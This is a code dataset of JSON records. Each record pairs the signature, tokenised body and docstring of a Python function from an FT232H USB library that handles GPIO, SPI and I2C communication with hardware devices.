{"signature": "def enumerate_device_serials(vid=FT232H_VID, pid=FT232H_PID):", "body": "try:<EOL><INDENT>ctx = None<EOL>ctx = ftdi.new()<EOL>device_list = None<EOL>count, device_list = ftdi.usb_find_all(ctx, vid, pid)<EOL>if count < <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(<EOL>count, ftdi.get_error_string(self._ctx)))<EOL><DEDENT>devices = []<EOL>while device_list is not None:<EOL><INDENT>ret, manufacturer, description, serial = ftdi.usb_get_strings(<EOL>ctx, device_list.dev, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)<EOL>if serial is not None:<EOL><INDENT>devices.append(serial)<EOL><DEDENT>device_list = device_list.next<EOL><DEDENT>return devices<EOL><DEDENT>finally:<EOL><INDENT>if device_list is not None:<EOL><INDENT>ftdi.list_free(device_list)<EOL><DEDENT>if ctx is not None:<EOL><INDENT>ftdi.free(ctx)<EOL><DEDENT><DEDENT>", "docstring": "Return a list of all FT232H device serial numbers connected to the\n    machine.  You can use these serial numbers to open a specific FT232H device\n    by passing it to the FT232H initializer's serial parameter.", "id": "f8002:m4"}
{"signature": "def __init__(self, vid=FT232H_VID, pid=FT232H_PID, serial=None):", "body": "<EOL>self._ctx = ftdi.new()<EOL>if self._ctx == <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>atexit.register(self.close)<EOL>if serial is None:<EOL><INDENT>self._check(ftdi.usb_open, vid, pid)<EOL><DEDENT>else:<EOL><INDENT>self._check(ftdi.usb_open_string,<EOL>'<STR_LIT>'.format(vid, pid, serial))<EOL><DEDENT>self._check(ftdi.usb_reset)<EOL>self._check(ftdi.read_data_set_chunksize, <NUM_LIT>)<EOL>self._check(ftdi.write_data_set_chunksize, <NUM_LIT>)<EOL>self._check(ftdi.usb_purge_buffers)<EOL>self._mpsse_enable()<EOL>self._mpsse_sync()<EOL>self._write('<STR_LIT>')<EOL>self._direction = <NUM_LIT><EOL>self._level = <NUM_LIT><EOL>", "docstring": "Create a FT232H object.  Will search for the first available FT232H\n        device with the specified USB vendor ID and product ID (defaults to\n        FT232H default VID & PID).  Can also specify an optional serial number\n        string to open an explicit FT232H device given its serial number.  See\n        the FT232H.enumerate_device_serials() function to see how to list all\n        connected device serial numbers.", "id": "f8002:c0:m0"}
{"signature": "def close(self):", "body": "if self._ctx is not None:<EOL><INDENT>ftdi.free(self._ctx)<EOL><DEDENT>self._ctx = None<EOL>", "docstring": "Close the FTDI device.  Will be automatically called when the program ends.", "id": "f8002:c0:m1"}
{"signature": "def _write(self, string):", "body": "<EOL>length = len(string)<EOL>try:<EOL><INDENT>ret = ftdi.write_data(self._ctx, string, length)<EOL><DEDENT>except TypeError:<EOL><INDENT>ret = ftdi.write_data(self._ctx, string)<EOL><DEDENT>if ret < <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(<EOL>ret, ftdi.get_error_string(self._ctx)))<EOL><DEDENT>if ret != length:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'.format(length, ret))<EOL><DEDENT>", "docstring": "Helper function to call write_data on the provided FTDI device and\n        verify it succeeds.", "id": "f8002:c0:m2"}
{"signature": "def _check(self, command, *args):", "body": "ret = command(self._ctx, *args)<EOL>logger.debug('<STR_LIT>'.format(<EOL>command.__name__, ret))<EOL>if ret != <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(<EOL>command.__name__, ret, ftdi.get_error_string(self._ctx)))<EOL><DEDENT>", "docstring": "Helper function to call the provided command on the FTDI device and\n        verify the response matches the expected value.", "id": "f8002:c0:m3"}
{"signature": "def _poll_read(self, expected, timeout_s=<NUM_LIT>):", "body": "start = time.time()<EOL>response = bytearray(expected)<EOL>index = <NUM_LIT:0><EOL>while time.time() - start <= timeout_s:<EOL><INDENT>ret, data = ftdi.read_data(self._ctx, expected - index)<EOL>if ret < <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'.format(ret))<EOL><DEDENT>response[index:index+ret] = data[:ret]<EOL>index += ret<EOL>if index >= expected:<EOL><INDENT>return str(response)<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT>raise RuntimeError(<EOL>'<STR_LIT>'.format(expected))<EOL>", "docstring": "Helper function to continuously poll reads on the FTDI device until an\n        expected number of bytes are returned.  Will throw a timeout error if no\n        data is received within the specified number of timeout seconds.  Returns\n        the read data as a string if successful, otherwise raises an execption.", "id": "f8002:c0:m4"}
{"signature": "def _mpsse_enable(self):", "body": "<EOL>self._check(ftdi.set_bitmode, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>self._check(ftdi.set_bitmode, <NUM_LIT:0>, <NUM_LIT:2>)<EOL>", "docstring": "Enable MPSSE mode on the FTDI device.", "id": "f8002:c0:m5"}
{"signature": "def _mpsse_sync(self, max_retries=<NUM_LIT:10>):", "body": "<EOL>self._write('<STR_LIT>')<EOL>tries = <NUM_LIT:0><EOL>sync = False<EOL>while not sync:<EOL><INDENT>data = self._poll_read(<NUM_LIT:2>)<EOL>if data == '<STR_LIT>':<EOL><INDENT>sync = True<EOL><DEDENT>tries += <NUM_LIT:1><EOL>if tries >= max_retries:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Synchronize buffers with MPSSE by sending bad opcode and reading expected\n        error response.  Should be called once after enabling MPSSE.", "id": "f8002:c0:m6"}
{"signature": "def mpsse_set_clock(self, clock_hz, adaptive=False, three_phase=False):", "body": "<EOL>self._write('<STR_LIT>')<EOL>if adaptive:<EOL><INDENT>self._write('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self._write('<STR_LIT>')<EOL><DEDENT>if three_phase:<EOL><INDENT>self._write('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self._write('<STR_LIT>')<EOL><DEDENT>divisor = int(<EOL>math.ceil((<NUM_LIT>-float(clock_hz))/float(clock_hz))) & <NUM_LIT><EOL>if three_phase:<EOL><INDENT>divisor = int(divisor*(<NUM_LIT>/<NUM_LIT>))<EOL><DEDENT>logger.debug(<EOL>'<STR_LIT>'.format(divisor))<EOL>self._write(<EOL>str(bytearray((<NUM_LIT>, divisor & <NUM_LIT>, (divisor >> <NUM_LIT:8>) & <NUM_LIT>))))<EOL>", "docstring": "Set the clock speed of the MPSSE engine.  Can be any value from 450hz\n        to 30mhz and will pick that speed or the closest speed below it.", "id": "f8002:c0:m7"}
{"signature": "def mpsse_read_gpio(self):", "body": "<EOL>self._write('<STR_LIT>')<EOL>data = self._poll_read(<NUM_LIT:2>)<EOL>low_byte = ord(data[<NUM_LIT:0>])<EOL>high_byte = ord(data[<NUM_LIT:1>])<EOL>logger.debug('<STR_LIT>'.format(<EOL>low_byte, high_byte))<EOL>return (high_byte << <NUM_LIT:8>) | low_byte<EOL>", "docstring": "Read both GPIO bus states and return a 16 bit value with their state.\n        D0-D7 are the lower 8 bits and C0-C7 are the upper 8 bits.", "id": "f8002:c0:m8"}
{"signature": "def mpsse_gpio(self):", "body": "level_low = chr(self._level & <NUM_LIT>)<EOL>level_high = chr((self._level >> <NUM_LIT:8>) & <NUM_LIT>)<EOL>dir_low = chr(self._direction & <NUM_LIT>)<EOL>dir_high = chr((self._direction >> <NUM_LIT:8>) & <NUM_LIT>)<EOL>return str(bytearray((<NUM_LIT>, level_low, dir_low, <NUM_LIT>, level_high, dir_high)))<EOL>", "docstring": "Return command to update the MPSSE GPIO state to the current direction\n        and level.", "id": "f8002:c0:m9"}
{"signature": "def mpsse_write_gpio(self):", "body": "self._write(self.mpsse_gpio())<EOL>", "docstring": "Write the current MPSSE GPIO state to the FT232H chip.", "id": "f8002:c0:m10"}
{"signature": "def get_i2c_device(self, address, **kwargs):", "body": "return I2CDevice(self, address, **kwargs)<EOL>", "docstring": "Return an I2CDevice instance using this FT232H object and the provided\n        I2C address.  Meant to be passed as the i2c_provider parameter to objects\n        which use the Adafruit_Python_GPIO library for I2C.", "id": "f8002:c0:m11"}
{"signature": "def setup(self, pin, mode):", "body": "self._setup_pin(pin, mode)<EOL>self.mpsse_write_gpio()<EOL>", "docstring": "Set the input or output mode for a specified pin.  Mode should be\n        either OUT or IN.", "id": "f8002:c0:m13"}
{"signature": "def setup_pins(self, pins, values={}, write=True):", "body": "<EOL>for pin, mode in iter(pins.items()):<EOL><INDENT>self._setup_pin(pin, mode)<EOL><DEDENT>for pin, value in iter(values.items()):<EOL><INDENT>self._output_pin(pin, value)<EOL><DEDENT>if write:<EOL><INDENT>self.mpsse_write_gpio()<EOL><DEDENT>", "docstring": "Setup multiple pins as inputs or outputs at once.  Pins should be a\n        dict of pin name to pin mode (IN or OUT).  Optional starting values of\n        pins can be provided in the values dict (with pin name to pin value).", "id": "f8002:c0:m14"}
{"signature": "def output(self, pin, value):", "body": "if pin < <NUM_LIT:0> or pin > <NUM_LIT:15>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._output_pin(pin, value)<EOL>self.mpsse_write_gpio()<EOL>", "docstring": "Set the specified pin the provided high/low value.  Value should be\n        either HIGH/LOW or a boolean (true = high).", "id": "f8002:c0:m16"}
{"signature": "def output_pins(self, pins, write=True):", "body": "for pin, value in iter(pins.items()):<EOL><INDENT>self._output_pin(pin, value)<EOL><DEDENT>if write:<EOL><INDENT>self.mpsse_write_gpio()<EOL><DEDENT>", "docstring": "Set multiple pins high or low at once.  Pins should be a dict of pin\n        name to pin value (HIGH/True for 1, LOW/False for 0).  All provided pins\n        will be set to the given values.", "id": "f8002:c0:m17"}
{"signature": "def input(self, pin):", "body": "return self.input_pins([pin])[<NUM_LIT:0>]<EOL>", "docstring": "Read the specified pin and return HIGH/true if the pin is pulled high,\n        or LOW/false if pulled low.", "id": "f8002:c0:m18"}
{"signature": "def input_pins(self, pins):", "body": "if [pin for pin in pins if pin < <NUM_LIT:0> or pin > <NUM_LIT:15>]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>_pins = self.mpsse_read_gpio()<EOL>return [((_pins >> pin) & <NUM_LIT>) == <NUM_LIT:1> for pin in pins]<EOL>", "docstring": "Read multiple pins specified in the given list and return list of pin values\n        GPIO.HIGH/True if the pin is pulled high, or GPIO.LOW/False if pulled low.", "id": "f8002:c0:m19"}
{"signature": "def set_clock_hz(self, hz):", "body": "self._ft232h.mpsse_set_clock(hz)<EOL>", "docstring": "Set the speed of the SPI clock in hertz.  Note that not all speeds\n        are supported and a lower speed might be chosen by the hardware.", "id": "f8002:c1:m3"}
{"signature": "def set_mode(self, mode):", "body": "if mode < <NUM_LIT:0> or mode > <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if mode == <NUM_LIT:0>:<EOL><INDENT>self.write_clock_ve = <NUM_LIT:1><EOL>self.read_clock_ve = <NUM_LIT:0><EOL>clock_base = GPIO.LOW<EOL><DEDENT>elif mode == <NUM_LIT:1>:<EOL><INDENT>self.write_clock_ve = <NUM_LIT:0><EOL>self.read_clock_ve = <NUM_LIT:1><EOL>clock_base = GPIO.LOW<EOL><DEDENT>elif mode == <NUM_LIT:2>:<EOL><INDENT>self.write_clock_ve = <NUM_LIT:1><EOL>self.read_clock_ve = <NUM_LIT:0><EOL>clock_base = GPIO.HIGH<EOL><DEDENT>elif mode == <NUM_LIT:3>:<EOL><INDENT>self.write_clock_ve = <NUM_LIT:0><EOL>self.read_clock_ve = <NUM_LIT:1><EOL>clock_base = GPIO.HIGH<EOL><DEDENT>self._ft232h.setup_pins(<EOL>{<NUM_LIT:0>: GPIO.OUT, <NUM_LIT:1>: GPIO.OUT, <NUM_LIT:2>: GPIO.IN}, {<NUM_LIT:0>: clock_base})<EOL>", "docstring": "Set SPI mode which controls clock polarity and phase.  Should be a\n        numeric value 0, 1, 2, or 3.  See wikipedia page for details on meaning:\n        http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus", "id": "f8002:c1:m4"}
{"signature": "def set_bit_order(self, order):", "body": "if order == MSBFIRST:<EOL><INDENT>self.lsbfirst = <NUM_LIT:0><EOL><DEDENT>elif order == LSBFIRST:<EOL><INDENT>self.lsbfirst = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set order of bits to be read/written over serial lines.  Should be\n        either MSBFIRST for most-significant first, or LSBFIRST for\n        least-signifcant first.", "id": "f8002:c1:m5"}
{"signature": "def write(self, data):", "body": "<EOL>if (len(data) > <NUM_LIT>):<EOL><INDENT>print(<EOL>'<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>command = <NUM_LIT> | (self.lsbfirst << <NUM_LIT:3>) | self.write_clock_ve<EOL>logger.debug('<STR_LIT>'.format(command))<EOL>data1 = data[:len(data)/<NUM_LIT:2>]<EOL>data2 = data[len(data)/<NUM_LIT:2>:]<EOL>len_low1 = (len(data1) - <NUM_LIT:1>) & <NUM_LIT><EOL>len_high1 = ((len(data1) - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>len_low2 = (len(data2) - <NUM_LIT:1>) & <NUM_LIT><EOL>len_high2 = ((len(data2) - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>self._assert_cs()<EOL>if len(data1) > <NUM_LIT:0>:<EOL><INDENT>self._ft232h._write(str(bytearray((command, len_low1, len_high1))))<EOL>self._ft232h._write(str(bytearray(data1)))<EOL><DEDENT>if len(data2) > <NUM_LIT:0>:<EOL><INDENT>self._ft232h._write(str(bytearray((command, len_low2, len_high2))))<EOL>self._ft232h._write(str(bytearray(data2)))<EOL><DEDENT>self._deassert_cs()<EOL>", "docstring": "Half-duplex SPI write.  The specified array of bytes will be clocked\n        out the MOSI line.", "id": "f8002:c1:m6"}
{"signature": "def read(self, length):", "body": "<EOL>if (<NUM_LIT:1> > length > <NUM_LIT>):<EOL><INDENT>print(<EOL>'<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>command = <NUM_LIT> | (self.lsbfirst << <NUM_LIT:3>) | (self.read_clock_ve << <NUM_LIT:2>)<EOL>logger.debug('<STR_LIT>'.format(command))<EOL>lengthR = length<EOL>if length % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>lengthR += <NUM_LIT:1><EOL><DEDENT>lengthR = lengthR/<NUM_LIT:2><EOL>lenremain = length - lengthR<EOL>len_low = (lengthR - <NUM_LIT:1>) & <NUM_LIT><EOL>len_high = ((lengthR - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>self._assert_cs()<EOL>self._ft232h._write(str(bytearray((command, len_low, len_high))))<EOL>payload1 = self._ft232h._poll_read(lengthR)<EOL>self._ft232h._write(str(bytearray((command, len_low, len_high))))<EOL>payload2 = self._ft232h._poll_read(lenremain)<EOL>self._deassert_cs()<EOL>return bytearray(payload1 + payload2)<EOL>", "docstring": "Half-duplex SPI read.  The specified length of bytes will be clocked\n        in the MISO line and returned as a bytearray object.", "id": "f8002:c1:m7"}
{"signature": "def bulkread(self, data=[], lengthR='<STR_LIT:None>', readmode=<NUM_LIT:1>):", "body": "<EOL>if (<NUM_LIT:1> > lengthR > <NUM_LIT>) | (len(data) > <NUM_LIT>):<EOL><INDENT>print(<EOL>'<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>if (lengthR == '<STR_LIT:None>') & (readmode == <NUM_LIT:1>):<EOL><INDENT>lengthR = len(data)<EOL><DEDENT>commandW = <NUM_LIT> | (self.lsbfirst << <NUM_LIT:3>) | self.write_clock_ve<EOL>lengthW = len(data) - <NUM_LIT:1><EOL>len_lowW = (lengthW) & <NUM_LIT><EOL>len_highW = ((lengthW) >> <NUM_LIT:8>) & <NUM_LIT><EOL>commandR = <NUM_LIT> | (self.lsbfirst << <NUM_LIT:3>) | (self.read_clock_ve << <NUM_LIT:2>)<EOL>length = lengthR<EOL>if lengthR % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>length += <NUM_LIT:1><EOL><DEDENT>length = length/<NUM_LIT:2><EOL>lenremain = lengthR - length<EOL>len_lowR = (length - <NUM_LIT:1>) & <NUM_LIT><EOL>len_highR = ((length - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>logger.debug(<EOL>'<STR_LIT>'.format(commandW))<EOL>logger.debug('<STR_LIT>'.format(commandR))<EOL>self._assert_cs()<EOL>self._ft232h._write(str(bytearray((commandW, len_lowW, len_highW))))<EOL>self._ft232h._write(str(bytearray(data)))<EOL>self._ft232h._write(str(bytearray((commandR, len_lowR, len_highR))))<EOL>payload1 = self._ft232h._poll_read(length)<EOL>self._ft232h._write(str(bytearray((commandR, len_lowR, len_highR))))<EOL>payload2 = self._ft232h._poll_read(lenremain)<EOL>self._deassert_cs()<EOL>return bytearray(payload1 + payload2)<EOL>", "docstring": "Half-duplex SPI write then read. Send command and payload to slave as bytearray\n            then consequently read out response from the slave for length in bytes.\n        Designed for use with NOR or NAND flash chips, and possibly SD cards...etc...\n        Read command is cut in half and performed twice in series to prevent single byte errors.\n        Hardware limits per command are enforced before doing anything.\n        Read length is an optional argument, so that it can function similar to transfer\n            but still half-duplex.\n        For reading without writing, one can send a blank array or skip that argument.", "id": "f8002:c1:m8"}
{"signature": "def transfer(self, data):", "body": "<EOL>if (len(data) > <NUM_LIT>):<EOL><INDENT>print(<EOL>'<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>command = <NUM_LIT> | (self.lsbfirst << <NUM_LIT:3>) | (<EOL>self.read_clock_ve << <NUM_LIT:2>) | self.write_clock_ve<EOL>logger.debug('<STR_LIT>'.format(command))<EOL>data1 = data[:len(data)/<NUM_LIT:2>]<EOL>data2 = data[len(data)/<NUM_LIT:2>:]<EOL>len_low1 = (len(data1) - <NUM_LIT:1>) & <NUM_LIT><EOL>len_high1 = ((len(data1) - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>len_low2 = (len(data2) - <NUM_LIT:1>) & <NUM_LIT><EOL>len_high2 = ((len(data2) - <NUM_LIT:1>) >> <NUM_LIT:8>) & <NUM_LIT><EOL>payload1 = '<STR_LIT>'<EOL>payload2 = '<STR_LIT>'<EOL>self._assert_cs()<EOL>if len(data1) > <NUM_LIT:0>:<EOL><INDENT>self._ft232h._write(str(bytearray((command, len_low1, len_high1))))<EOL>self._ft232h._write(str(bytearray(data1)))<EOL>payload1 = self._ft232h._poll_read(len(data1))<EOL><DEDENT>if len(data2) > <NUM_LIT:0>:<EOL><INDENT>self._ft232h._write(str(bytearray((command, len_low2, len_high2))))<EOL>self._ft232h._write(str(bytearray(data2)))<EOL>payload2 = self._ft232h._poll_read(len(data2))<EOL><DEDENT>self._deassert_cs()<EOL>return bytearray(payload1 + payload2)<EOL>", "docstring": "Full-duplex SPI read and write.  The specified array of bytes will be\n        clocked out the MOSI line, while simultaneously bytes will be read from\n        the MISO line.  Read bytes will be returned as a bytearray object.", "id": "f8002:c1:m9"}
{"signature": "def __init__(self, ft232h, address, clock_hz=<NUM_LIT>):", "body": "self._address = address<EOL>self._ft232h = ft232h<EOL>self._ft232h.mpsse_set_clock(clock_hz, three_phase=True)<EOL>self._ft232h._write('<STR_LIT>')<EOL>self._idle()<EOL>", "docstring": "Create an instance of the I2C device at the specified address on the\n        specified I2C bus number.", "id": "f8002:c2:m0"}
{"signature": "def _idle(self):", "body": "<EOL>self._ft232h.setup_pins({<NUM_LIT:0>: GPIO.OUT, <NUM_LIT:1>: GPIO.OUT, <NUM_LIT:2>: GPIO.IN},<EOL>{<NUM_LIT:0>: GPIO.HIGH, <NUM_LIT:1>: GPIO.HIGH})<EOL>", "docstring": "Put I2C lines into idle state.", "id": "f8002:c2:m1"}
{"signature": "def _transaction_start(self):", "body": "<EOL>self._command = []<EOL>self._expected = <NUM_LIT:0><EOL>", "docstring": "Start I2C transaction.", "id": "f8002:c2:m2"}
{"signature": "def _transaction_end(self):", "body": "<EOL>self._command.append('<STR_LIT>')<EOL>self._ft232h._write('<STR_LIT>'.join(self._command))<EOL>return bytearray(self._ft232h._poll_read(self._expected))<EOL>", "docstring": "End I2C transaction and get response bytes, including ACKs.", "id": "f8002:c2:m3"}
{"signature": "def _i2c_start(self):", "body": "<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.HIGH, <NUM_LIT:1>: GPIO.LOW}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.LOW, <NUM_LIT:1>: GPIO.LOW}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>", "docstring": "Send I2C start signal. Must be called within a transaction start/end.", "id": "f8002:c2:m4"}
{"signature": "def _i2c_idle(self):", "body": "self._ft232h.output_pins({<NUM_LIT:0>: GPIO.HIGH, <NUM_LIT:1>: GPIO.HIGH}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>", "docstring": "Set I2C signals to idle state with SCL and SDA at a high value. Must\n        be called within a transaction start/end.", "id": "f8002:c2:m5"}
{"signature": "def _i2c_stop(self):", "body": "<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.LOW, <NUM_LIT:1>: GPIO.LOW}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.HIGH, <NUM_LIT:1>: GPIO.LOW}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.HIGH, <NUM_LIT:1>: GPIO.HIGH}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>", "docstring": "Send I2C stop signal. Must be called within a transaction start/end.", "id": "f8002:c2:m6"}
{"signature": "def _i2c_read_bytes(self, length=<NUM_LIT:1>):", "body": "for i in range(length-<NUM_LIT:1>):<EOL><INDENT>self._command.append('<STR_LIT>')<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.LOW, <NUM_LIT:1>: GPIO.HIGH}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio())<EOL><DEDENT>self._command.append('<STR_LIT>')<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.LOW, <NUM_LIT:1>: GPIO.HIGH}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio())<EOL>self._expected += length<EOL>", "docstring": "Read the specified number of bytes from the I2C bus.  Length is the\n        number of bytes to read (must be 1 or more).", "id": "f8002:c2:m7"}
{"signature": "def _i2c_write_bytes(self, data):", "body": "for byte in data:<EOL><INDENT>self._command.append(str(bytearray((<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, byte))))<EOL>self._ft232h.output_pins({<NUM_LIT:0>: GPIO.LOW, <NUM_LIT:1>: GPIO.HIGH}, write=False)<EOL>self._command.append(self._ft232h.mpsse_gpio() * _REPEAT_DELAY)<EOL>self._command.append('<STR_LIT>')<EOL><DEDENT>self._expected += len(data)<EOL>", "docstring": "Write the specified number of bytes to the chip.", "id": "f8002:c2:m8"}
{"signature": "def _address_byte(self, read=True):", "body": "if read:<EOL><INDENT>return (self._address << <NUM_LIT:1>) | <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>return self._address << <NUM_LIT:1><EOL><DEDENT>", "docstring": "Return the address byte with the specified R/W bit set.  If read is\n        True the R/W bit will be 1, otherwise the R/W bit will be 0.", "id": "f8002:c2:m9"}
{"signature": "def _verify_acks(self, response):", "body": "for byte in response:<EOL><INDENT>if byte & <NUM_LIT> != <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Check all the specified bytes have the ACK bit set.  Throws a\n        RuntimeError exception if not all the ACKs are set.", "id": "f8002:c2:m10"}
{"signature": "def ping(self):", "body": "self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False)])<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>if len(response) != <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'.format(len(response)))<EOL><DEDENT>return ((response[<NUM_LIT:0>] & <NUM_LIT>) == <NUM_LIT>)<EOL>", "docstring": "Attempt to detect if a device at this address is present on the I2C\n        bus.  Will send out the device's address for writing and verify an ACK\n        is received.  Returns true if the ACK is received, and false if not.", "id": "f8002:c2:m11"}
{"signature": "def writeRaw8(self, value):", "body": "value = value & <NUM_LIT><EOL>self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), value])<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response)<EOL>", "docstring": "Write an 8-bit value on the bus (without register).", "id": "f8002:c2:m12"}
{"signature": "def write8(self, register, value):", "body": "value = value & <NUM_LIT><EOL>self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), register, value])<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response)<EOL>", "docstring": "Write an 8-bit value to the specified register.", "id": "f8002:c2:m13"}
{"signature": "def write16(self, register, value, little_endian=True):", "body": "value = value & <NUM_LIT><EOL>value_low = value & <NUM_LIT><EOL>value_high = (value >> <NUM_LIT:8>) & <NUM_LIT><EOL>if not little_endian:<EOL><INDENT>value_low, value_high = value_high, value_low<EOL><DEDENT>self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), register, value_low,<EOL>value_high])<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response)<EOL>", "docstring": "Write a 16-bit value to the specified register.", "id": "f8002:c2:m14"}
{"signature": "def writeList(self, register, data):", "body": "self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), register] + data)<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response)<EOL>", "docstring": "Write bytes to the specified register.", "id": "f8002:c2:m15"}
{"signature": "def readList(self, register, length):", "body": "if length <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(True), register])<EOL>self._i2c_stop()<EOL>self._i2c_idle()<EOL>self._i2c_start()<EOL>self._i2c_read_bytes(length)<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response[:-length])<EOL>return response[-length:]<EOL>", "docstring": "Read a length number of bytes from the specified register.  Results\n        will be returned as a bytearray.", "id": "f8002:c2:m16"}
{"signature": "def readRaw8(self):", "body": "self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False)])<EOL>self._i2c_stop()<EOL>self._i2c_idle()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(True)])<EOL>self._i2c_read_bytes(<NUM_LIT:1>)<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response[:-<NUM_LIT:1>])<EOL>return response[-<NUM_LIT:1>]<EOL>", "docstring": "Read an 8-bit value on the bus (without register).", "id": "f8002:c2:m17"}
{"signature": "def readU8(self, register):", "body": "self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), register])<EOL>self._i2c_stop()<EOL>self._i2c_idle()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(True)])<EOL>self._i2c_read_bytes(<NUM_LIT:1>)<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response[:-<NUM_LIT:1>])<EOL>return response[-<NUM_LIT:1>]<EOL>", "docstring": "Read an unsigned byte from the specified register.", "id": "f8002:c2:m18"}
{"signature": "def readS8(self, register):", "body": "result = self.readU8(register)<EOL>if result > <NUM_LIT>:<EOL><INDENT>result -= <NUM_LIT><EOL><DEDENT>return result<EOL>", "docstring": "Read a signed byte from the specified register.", "id": "f8002:c2:m19"}
{"signature": "def readU16(self, register, little_endian=True):", "body": "self._idle()<EOL>self._transaction_start()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(False), register])<EOL>self._i2c_stop()<EOL>self._i2c_idle()<EOL>self._i2c_start()<EOL>self._i2c_write_bytes([self._address_byte(True)])<EOL>self._i2c_read_bytes(<NUM_LIT:2>)<EOL>self._i2c_stop()<EOL>response = self._transaction_end()<EOL>self._verify_acks(response[:-<NUM_LIT:2>])<EOL>if little_endian:<EOL><INDENT>return (response[-<NUM_LIT:1>] << <NUM_LIT:8>) | response[-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>return (response[-<NUM_LIT:2>] << <NUM_LIT:8>) | response[-<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Read an unsigned 16-bit value from the specified register, with the\n        specified endianness (default little endian, or least significant byte\n        first).", "id": "f8002:c2:m20"}
